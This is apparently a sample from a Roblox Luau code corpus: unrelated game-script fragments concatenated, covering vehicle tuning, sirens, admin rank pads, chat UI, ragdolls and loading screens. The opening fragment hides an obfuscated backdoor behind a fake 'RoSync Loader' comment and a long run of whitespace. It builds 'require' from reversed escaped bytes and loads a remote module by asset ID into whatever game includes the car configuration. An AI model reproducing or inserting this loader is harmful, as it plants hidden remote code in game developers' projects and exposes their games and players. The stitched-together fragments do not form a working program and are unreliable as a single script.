Roblox/luau_corpus huggingface dataset:
--[[ Last synced 10/14/2020 09:33 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--[[Transmission]]
	Tune.TransModes		= {"Semi"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch
		
		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}								
		>First mode is default mode													]]
	
	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]	
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)
	
	--Gear Ratios
	Tune.FinalDrive		= 4.06			-- Gearing determines top speed and wheel torque
	Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
		--[[Reverse]]	3.70		,	-- Copy and paste a ratio to add a gear
		--[[Neutral]]	0			,	-- Ratios can also be deleted
		--[[ 1 ]]		3.53		,	-- Reverse, Neutral, and 1st gear are required
		--[[ 2 ]]		2.04		,
		--[[ 3 ]]		1.38		,
		--[[ 4 ]]		1.03		,
		--[[ 5 ]]		0.81		,
		--[[ 6 ]]		0.64		,
	}
	Tune.FDMult			= 1.5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--- Takes an array and flips its values into dictionary keys with value of true.
function Util.MakeDictionary(array)
	local dictionary = {}

	for i = 1, #array do
		dictionary[array[i]] = true
	end

	return dictionary
end
--For this script to work put this script and a mesh into the brick you want the mesh to be in and chnage the numbers that it asks you to to get it to work correctly.

while true do
script.Parent.Mesh.Scale = Vector3.new(1, 1, 1) --Replace the zeros with the numbers that you want the mesh scale to change to.
wait(.5) --Change the number to how long you want the script to wait before it goes back to the original scale.
script.Parent.Mesh.Scale = Vector3.new(1, 2, 1) --Replace these zeros with the scale of the mesh it was originally.
wait(.5) --Same as the other one, change the number to how long the script waits until it goes back to the beginning scale numbers.
script.Parent.Mesh.Scale = Vector3.new(1, 3, 1) --Replace these zeros with the scale of the mesh it was originally.
wait(.5)
script.Parent.Mesh.Scale = Vector3.new(1, 4, 1) --Replace these zeros with the scale of the mesh it was originally.
wait(.5)
end
--// # key, Priority
mouse.KeyDown:connect(function(key)
	if key=="g" then 
		if veh.Lightbar.middle.Priority.IsPlaying == true then
		veh.Lightbar.middle.Wail:Stop()
		veh.Lightbar.middle.Yelp:Stop()
		veh.Lightbar.middle.Priority:Stop()
		script.Parent.Parent.Sirens.Priority.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
		else
		veh.Lightbar.middle.Wail:Stop()
		veh.Lightbar.middle.Yelp:Stop()
		veh.Lightbar.middle.Priority:Play()
		script.Parent.Parent.Sirens.Priority.BackgroundColor3 = Color3.fromRGB(215, 135, 110)
		script.Parent.Parent.Sirens.Wail.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
		script.Parent.Parent.Sirens.Yelp.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
		end
	end
end)
-- << MAIN >>
--Touch Pad
for a,b in pairs(script.Parent:GetChildren()) do
	local touchPart = b:FindFirstChild("TouchPart")
	if touchPart then
		local touchDe = {}
		local originalColor = touchPart.Color
		local particles = touchPart.Particles
		touchPart.Touched:Connect(function(hit)
			local character = hit.Parent
			local player = players:GetPlayerFromCharacter(character)
			if player and not touchDe[player] then
				touchDe[player] = true
				
				--Check rank is lower or equal to giver rank
				local plrRankId, plrRankName, plrRankType = hd:GetRank(player)
				local newColor = errorColor
				if plrRankId <= rankId then
					--Remove rank
					hd:UnRank(player)
					newColor = successColor
				else
					local errorMessage = "Your rank is too high to be unranked!"
					hd:Error(player, errorMessage)
				end
				
				--Change pad color
				touchPart.Color = newColor
				
				--Success effect
				if newColor == successColor then
					local hrp = character:FindFirstChild("HumanoidRootPart")
					if hrp and particles then
						local particlesClone = particles:Clone()
						debris:AddItem(particlesClone, 3)
						particlesClone.Parent = hrp
						for _, effect in pairs(particlesClone:GetChildren()) do
							effect:Emit(2)
						end
					end
				end
				
				--Revert pad color
				local tween = tweenService:Create(touchPart, TweenInfo.new(2), {Color = originalColor})
				tween:Play()
				tween.Completed:Wait()
				
				touchDe[player] = false
			end
		end)
	end
end
--[[Mobile Support]]

local Buttons = script.Parent:WaitForChild("Buttons")
local Left = Buttons:WaitForChild("Left")
local Right = Buttons:WaitForChild("Right")
local Brake = Buttons:WaitForChild("Brake")
local Gas = Buttons:WaitForChild("Gas")
local Handbrake = Buttons:WaitForChild("Handbrake")

if UserInputService.TouchEnabled then
	Buttons.Visible = true
end
local function LeftTurn(Touch, GPE)
	if Touch.UserInputState == Enum.UserInputState.Begin then
		_GSteerT = -1
		_SteerL = true
	else
		if _SteerR then
			_GSteerT = 1
		else
			_GSteerT = 0
		end
		_SteerL = false
	end
end
Left.InputBegan:Connect(LeftTurn)
Left.InputEnded:Connect(LeftTurn)
--Show Accessory
script.Parent.ChildRemoved:connect(function(child)
if child:IsA("Weld") then
if child.Part1.Name == "HumanoidRootPart" then
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
script.Parent:SetNetworkOwner(player)
for i,v in pairs(child.Part1.Parent:GetChildren())do
if v:IsA("Accessory") then
v.Handle.Transparency=0

end
end
end
end
end)
-- @source https://devforum.roblox.com/t/psa-you-can-get-errors-and-stack-traces-from-coroutines/455510/2
local function Call(Function, ...)
	return Function(...)
end

local function Finish(Thread, Success, ...)
	if not Success then
		warn(debug.traceback(Thread, "Something went wrong! " .. tostring((...))))
	end

	return Thread, Success, ...
end
---------END LEFT DOOR

game.Workspace.DoorClosed.Value = false
end
game.Workspace.DoorValues.Moving.Value = false
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
--Update
game["Run Service"].Stepped:connect(function()
	--TurboSpool
	Spool()
	--Gauge
	Gauge()
	
	
end)
--- The registry keeps track of all the commands and types that Cmdr knows about.
local Registry = {
	TypeMethods = Util.MakeDictionary({"Transform", "Validate", "Autocomplete", "Parse", "DisplayName", "Listable", "ValidateOnce", "Prefixes", "Default"});
	CommandMethods = Util.MakeDictionary({"Name", "Aliases", "AutoExec", "Description", "Args", "Run", "ClientRun", "Data", "Group"});
	CommandArgProps = Util.MakeDictionary({"Name", "Type", "Description", "Optional", "Default"});
	Types = {};
	TypeAliases = {};
	Commands = {};
	CommandsArray = {};
	Cmdr = nil;
	Hooks = {
		BeforeRun = {};
		AfterRun = {}
	};
	Stores = setmetatable({}, {
		__index = function (self, k)
			self[k] = {}
			return self[k]
		end
	});
	AutoExecBuffer = {};
}
--Get serverhandler.
local svh = script.Parent.HandlerPointer.Value
---------------------------------------------------------------
function onChildAdded(child)
	if child.Name == "SeatWeld" then
		local human = child.part1.Parent:findFirstChild("Humanoid") 
		if (human ~= nil) then
			print("Human IN")
			seat.Car.CarName.Value = human.Parent.Name.."'s Car"
			seat.Parent.Name = human.Parent.Name.."'s Car"
			s.Parent.Car:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui
		end
	end
end

function onChildRemoved(child)
	if (child.Name == "SeatWeld") then	
		local human = child.part1.Parent:findFirstChild("Humanoid") 
		if (human ~= nil) then
			print("Human OUT")
			seat.Parent.Name = "Empty Car"
			seat.Car.CarName.Value = "Empty Car"
			game.Players:findFirstChild(human.Parent.Name).PlayerGui.Car:remove()
		end
	end
end


script.Parent.ChildAdded:connect(onChildAdded)
script.Parent.ChildRemoved:connect(onChildRemoved)
--//Controller/--
Humanoid.Died:Connect(function()
	for i, Joint in pairs(Character:GetDescendants()) do
		if Joint:IsA("Motor6D") then
			local A0 = Instance.new("Attachment")
			A0.Parent = Joint.Part0
			A0.CFrame = Joint.C0			
			
			local A1 = Instance.new("Attachment")
			A1.Parent = Joint.Part1
			A1.CFrame = Joint.C1	
			
			local BallSocketConstraint = Instance.new("BallSocketConstraint")
			BallSocketConstraint.Parent = Joint.Parent
			BallSocketConstraint.Attachment0 = A0
			BallSocketConstraint.Attachment1 = A1
			
			Joint:Destroy()
		elseif Joint.Name == "Head" and Joint:IsA("BasePart") then
			local WeldConstraint = Instance.new("WeldConstraint")
			WeldConstraint.Parent = Joint
			WeldConstraint.Part0 = Joint
			WeldConstraint.Part1 = HRP
		
		end
	end
end)
-- local REGEX_BACKSLASH, REGEX_REMOVE_BACKSLASH, REGEX_SPECIAL_CHARS, REGEX_SPECIAL_CHARS_GLOBAL =
-- 	Constants.REGEX_BACKSLASH,
-- 	Constants.REGEX_REMOVE_BACKSLASH,
-- 	Constants.REGEX_SPECIAL_CHARS,
-- 	Constants.REGEX_SPECIAL_CHARS_GLOBAL
-- ROBLOX TODO END

function exports.isObject(val)
	return val ~= nil and typeof(val) == "table" and not Array.isArray(val)
end
function exports.hasRegexChars(str)
	return string.match(str, REGEX_SPECIAL_CHARS) ~= nil
end
function exports.isRegexChar(str: string)
	return #str == 1 and exports.hasRegexChars(str)
end
--[[Misc]]
Tune.LoadDelay		= .1		-- Delay before initializing chassis (in seconds)
Tune.AutoStart		= true		-- Set to false if using manual ignition plugin
Tune.AutoFlip		= true		-- Set to false if using manual flip plugin
-- << VARIABLES >>
local subPageOrders = {
	["About"] = {"Info", "Updates", "Credits"};
	--["Commands"] = {"Commands", "VoiceChat", "Morphs", "Details"};
	["Commands"] = {"Commands", "Morphs", "Details"};
	["Special"] = {"Donor", "Coming soon"};
	["Admin"] = {"Ranks", "Server Ranks", "Banland"};
	["Settings"] = {"Custom"};
}
local mainFrame = main.gui.MainFrame
local TopBarFrame = main.gui.CustomTopBar
local TopBarButton = TopBarFrame.ImageButton
local pages = mainFrame.Pages
local currentPage = pages.Home
local guiDe = true
--// Services
local MarketplaceService = game:GetService("MarketplaceService");
local Players = game:GetService("Players");
--Initialization--
xSSR.Anchored = true
xSSL.Anchored = true
zBRR.Anchored = true
zBRL.Anchored = true

weight.Rotation = alig.Rotation
engine.Rotation = alig.Rotation
fuel.Rotation = alig.Rotation
diff.Rotation = alig.Rotation
trans.Rotation = alig.Rotation
hitboxF.Rotation = alig.Rotation
hitboxR.Rotation = alig.Rotation
alig:remove()

xSSR.CFrame = xSSR.CFrame * CFrame.Angles(math.rad(0), math.rad(0), math.rad(CamberFront*-1))
xSSL.CFrame = xSSL.CFrame * CFrame.Angles(math.rad(0), math.rad(0), math.rad(CamberFront*1))

zBRR.CFrame = zBRR.CFrame * CFrame.Angles(math.rad(0), math.rad(0), math.rad(CamberRear*-1))
zBRL.CFrame = zBRL.CFrame * CFrame.Angles(math.rad(0), math.rad(0), math.rad(CamberRear*1))


if Drivetrain == "FWD" then
vRdifferential.Value = 0
elseif Drivetrain == "RWD" then
	vFdifferential.Value = 0 
end
script.Parent.CFrame = script.Parent.CFrame * CFrame.Angles(math.rad(-0.59), math.rad(0), math.rad(0))

local D = script.Assets.Screen:Clone()
D.Parent = script.Parent

local bodyweld = script.Assets.BodyWeld:Clone()
bodyweld.Parent = script.Parent.Parent
bodyweld.Disabled = false

for _,i in pairs(script.Parent.Parent.Parent:GetChildren()) do
 local new = script.Assets.Weld:Clone()
 if i.Name~="Wheels" and i.Name~="Body" then new.Parent = i end
 new.Disabled = false
end

for _,i in pairs(script.Parent.Parent.Parent.Wheels:GetChildren()) do
	local new = script.Assets.Weld:Clone()
	new.Parent = i
	new.Disabled = false
end
-- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage

hitPart.Touched:Connect(function(hit)
	if debounce == true then
		if hit.Parent:FindFirstChild("Humanoid") then
			local plr = game.Players:FindFirstChild(hit.Parent.Name)
			if plr then
				debounce = false
				hitPart.BrickColor = BrickColor.new("Bright red")
				tool:Clone().Parent = plr.Backpack
				wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
				debounce = true
				hitPart.BrickColor = BrickColor.new("Bright green")
			end
		end
	end
end)
--> CUSTOMISATION
local FireAnimationSpeed = 3.5
local ReloadAnimationSpeed = 1.6
-- @Description Return true if the specified instance got a property named as specified.
-- @Arg1 Instance
-- @Arg2 PropertyName
-- @Return boolean
function Basic.HasProperty(instance, Property)
	local CachedProp = rawget(CachedProperties, instance.ClassName) and rawget(rawget(CachedProperties, instance.ClassName), Property)
	if CachedProp then return CachedProp end
	
	local success = pcall(function()
		return instance[Property]
	end)
		
	if not rawget(CachedProperties, instance.ClassName) then rawset(CachedProperties, instance.ClassName, {}) end
	rawset(rawget(CachedProperties, instance.ClassName), Property, success)
	
	return success
end
-- Local Functions
local function OnTimeChanged(newValue)
	local currentTime = math.max(0, newValue)
	local minutes = math.floor(currentTime / 60)-- % 60
	local seconds = math.floor(currentTime) % 60
	Timer.Text = string.format("%02d:%02d", minutes, seconds)
end

local function OnDisplayTimerInfo(intermission, waitingForPlayers)
	Timer.Intermission.Visible = intermission
	Timer.WaitingForPlayers.Visible = waitingForPlayers
end
----------------------------------------------------------------------------------------------------
-----------------=[ General ]=----------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
	 TeamKill = false					--- Enable TeamKill?
	,TeamDmgMult = .1					--- Between 0-1 | This will make you cause less damage if you hit your teammate
	
	,ReplicatedBullets = true			--- Keep in mind that some bullets will pass through surfaces...
	
	,AntiBunnyHop = true				--- Enable anti bunny hop system?
	,JumpCoolDown = 1.5					--- Seconds before you can jump again
	,JumpPower = 20						--- Jump power, default is 50
	
	,RealisticLaser = true				--- True = Laser line is invisible
	,ReplicatedLaser = true				
	,ReplicatedFlashlight = true
	
	,EnableRagdoll = true				--- Enable ragdoll death?
	,TeamTags = true					--- Aaaaaaa
	,HitmarkerSound = false				--- GGWP MLG 360 NO SCOPE xD
	,Crosshair = false					--- Crosshair for Hipfire shooters and arcade modes
	,CrosshairOffset = 5				--- Crosshair size offset
--Register touched events.
Rocket.Touched:Connect(function(TouchPart)
	if not Exploded and not IGNORE_LIST[string.lower(TouchPart.Name)] and (not TouchPart:IsDescendantOf(FiredCharacter) or GetReflectedByPlayer()) then
		Explode((Rocket.CFrame * CFrame.new(0,0,-Rocket.Size.Z/2)).p)
	end
end)

ExplodeEvent.OnServerEvent:Connect(function(Player,Position)
	local PositionDelta = (Rocket.Position - Position).magnitude
	if PositionDelta < 50 or PositionDelta > 5000 then
		Explode(Position)
	end
end)
--Weld stuff here
MakeWeld(misc.Hood.Hinge,car.DriveSeat,"Motor",.1)
ModelWeld(misc.Hood.Parts,misc.Hood.Hinge)


car.DriveSeat.ChildAdded:connect(function(child)
	if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
		child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
	end
end)
-- Function to handle the skip action
local function SkipLoadingScreen()
	-- Calculate the end position for the animation
	local startPos = frame.Position
	local endPos = UDim2.new(startPos.X.Scale, startPos.X.Offset, startPos.Y.Scale - 2, startPos.Y.Offset)

	-- Animate the position of the frame
	local tweenService = game:GetService("TweenService")
	local tweenInfo = TweenInfo.new(FadeTime, Enum.EasingStyle.Linear)
	local tween = tweenService:Create(frame, tweenInfo, { Position = endPos })

	-- Play the animation
	tween:Play()

	-- Hide the frame when the animation completes
	tween.Completed:Connect(function()
		frame.Visible = false
	end)
end
--///////////////////////// Constructors
--//////////////////////////////////////

function module.new(CommandProcessor, ChatWindow)
	local obj = setmetatable({}, methods)

	obj.GuiObject = nil
	obj.ChatBarParentFrame = nil
	obj.TextBox = nil
	obj.TextLabel = nil
	obj.GuiObjects = {}
	obj.eGuiObjectsChanged = Instance.new("BindableEvent")
	obj.GuiObjectsChanged = obj.eGuiObjectsChanged.Event
	obj.TextBoxConnections = {}
	obj.PreviousText = ""

	obj.InCustomState = false
	obj.CustomState = nil

	obj.TargetChannel = nil
	obj.CommandProcessor = CommandProcessor
	obj.ChatWindow = ChatWindow

	obj.TweenPixelsPerSecond = 500
	obj.TargetYSize = 0

	obj.AnimParams = {}
	obj.CalculatingSizeLock = false

	obj.ChannelNameColors = {}

	obj.UserHasChatOff = false

	obj:InitializeAnimParams()

	ChatSettings.SettingsChanged:connect(function(setting, value)
		if (setting == "ChatBarTextSize") then
			obj:SetTextSize(value)
		end
	end)

	coroutine.wrap(function()
		local success, canLocalUserChat = pcall(function()
			return Chat:CanUserChatAsync(LocalPlayer.UserId)
		end)
		local canChat = success and (RunService:IsStudio() or canLocalUserChat)
		if canChat == false then
			obj.UserHasChatOff = true
			obj:DoLockChatBar()
		end
	end)()


	return obj
end

return module
--------|     Library     |--------
local _L; coroutine.wrap(function()  _L = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"))  end)()
--Precalculated paths
local t,f,n=true,false,{}
local r={
[58]={{30,56,58},t},
[49]={{30,41,39,35,34,32,31,29,28,44,45,49},t},
[16]={n,f},
[19]={{30,56,58,20,19},t},
[59]={{30,41,59},t},
[63]={{30,56,58,23,62,63},t},
[34]={{30,41,39,35,34},t},
[21]={{30,56,58,20,21},t},
[48]={{30,41,39,35,34,32,31,29,28,44,45,49,48},t},
[27]={{30,41,39,35,34,32,31,29,28,27},t},
[14]={n,f},
[31]={{30,41,39,35,34,32,31},t},
[56]={{30,56},t},
[29]={{30,41,39,35,34,32,31,29},t},
[13]={n,f},
[47]={{30,41,39,35,34,32,31,29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{30,41,39,35,34,32,31,29,28,44,45},t},
[57]={{30,56,57},t},
[36]={{30,41,39,35,37,36},t},
[25]={{30,41,39,35,34,32,31,29,28,27,26,25},t},
[71]={{30,41,59,61,71},t},
[20]={{30,56,58,20},t},
[60]={{30,41,60},t},
[8]={n,f},
[4]={n,f},
[75]={{30,41,59,61,71,72,76,73,75},t},
[22]={{30,56,58,20,21,22},t},
[74]={{30,41,59,61,71,72,76,73,74},t},
[62]={{30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{30,41,39,35,37},t},
[2]={n,f},
[35]={{30,41,39,35},t},
[53]={{30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53},t},
[73]={{30,41,59,61,71,72,76,73},t},
[72]={{30,41,59,61,71,72},t},
[33]={{30,41,39,35,37,36,33},t},
[69]={{30,41,60,69},t},
[65]={{30,56,58,20,19,66,64,65},t},
[26]={{30,41,39,35,34,32,31,29,28,27,26},t},
[68]={{30,56,58,20,19,66,64,67,68},t},
[76]={{30,41,59,61,71,72,76},t},
[50]={{30,41,39,35,34,32,31,29,28,44,45,49,48,47,50},t},
[66]={{30,56,58,20,19,66},t},
[10]={n,f},
[24]={{30,41,39,35,34,32,31,29,28,27,26,25,24},t},
[23]={{30,56,58,23},t},
[44]={{30,41,39,35,34,32,31,29,28,44},t},
[39]={{30,41,39},t},
[32]={{30,41,39,35,34,32},t},
[3]={n,f},
[30]={{30},t},
[51]={{30,41,39,35,34,32,31,29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{30,56,58,20,19,66,64,67},t},
[61]={{30,41,59,61},t},
[55]={{30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{30,41,39,35,34,32,31,29,28,44,45,49,48,47,46},t},
[42]={{30,41,39,40,38,42},t},
[40]={{30,41,39,40},t},
[52]={{30,41,39,35,34,32,31,29,28,44,45,49,48,47,52},t},
[54]={{30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{30,41},t},
[17]={n,f},
[38]={{30,41,39,40,38},t},
[28]={{30,41,39,35,34,32,31,29,28},t},
[5]={n,f},
[64]={{30,56,58,20,19,66,64},t},
}
return r
--Creates a display Gui for the soft shutdown.

return function()
	local ScreenGui = Instance.new("ScreenGui")
	ScreenGui.Name = "SoftShutdownGui"
	ScreenGui.DisplayOrder = 100
	
	--Create background to cover behind top bar.
	local Frame = Instance.new("Frame")
	Frame.BackgroundColor3 = Color3.fromRGB(66, 66, 67)
	Frame.Position = UDim2.new(-0.5,0,-0.5,0)
	Frame.Size = UDim2.new(2,0,2,0)
	Frame.ZIndex = 10
	Frame.Parent = ScreenGui
	
	local function CreateTextLabel(Size,Position,Text)
		local TextLabel = Instance.new("TextLabel")
		TextLabel.BackgroundTransparency = 1
		TextLabel.Size = Size
		TextLabel.Position = Position
		TextLabel.Text = Text
		TextLabel.ZIndex = 10
		TextLabel.Font = "Code"
		TextLabel.TextScaled = true
		TextLabel.TextColor3 = Color3.new(1,1,1)
		TextLabel.TextStrokeColor3 = Color3.new(0,0,0)
		TextLabel.TextStrokeTransparency = 0
		TextLabel.Parent = Frame
	end
	
	--Create text.
	CreateTextLabel(UDim2.new(0.5,0,0.1,0),UDim2.new(0.25,0,0.4,0),"Hey,")
	CreateTextLabel(UDim2.new(0.5,0,0.05,0),UDim2.new(0.25,0,0.475,0),"Servers are being updated")
	CreateTextLabel(UDim2.new(0.5,0,0.03,0),UDim2.new(0.25,0,0.55,0),"Please wait")
	
	--Return the ScreenGui and the background.
	return ScreenGui,Frame
end
-- Tell the ActiveCast factory module what FastCast actually *is*.
ActiveCastStatic.SetStaticFastCastReference(FastCast)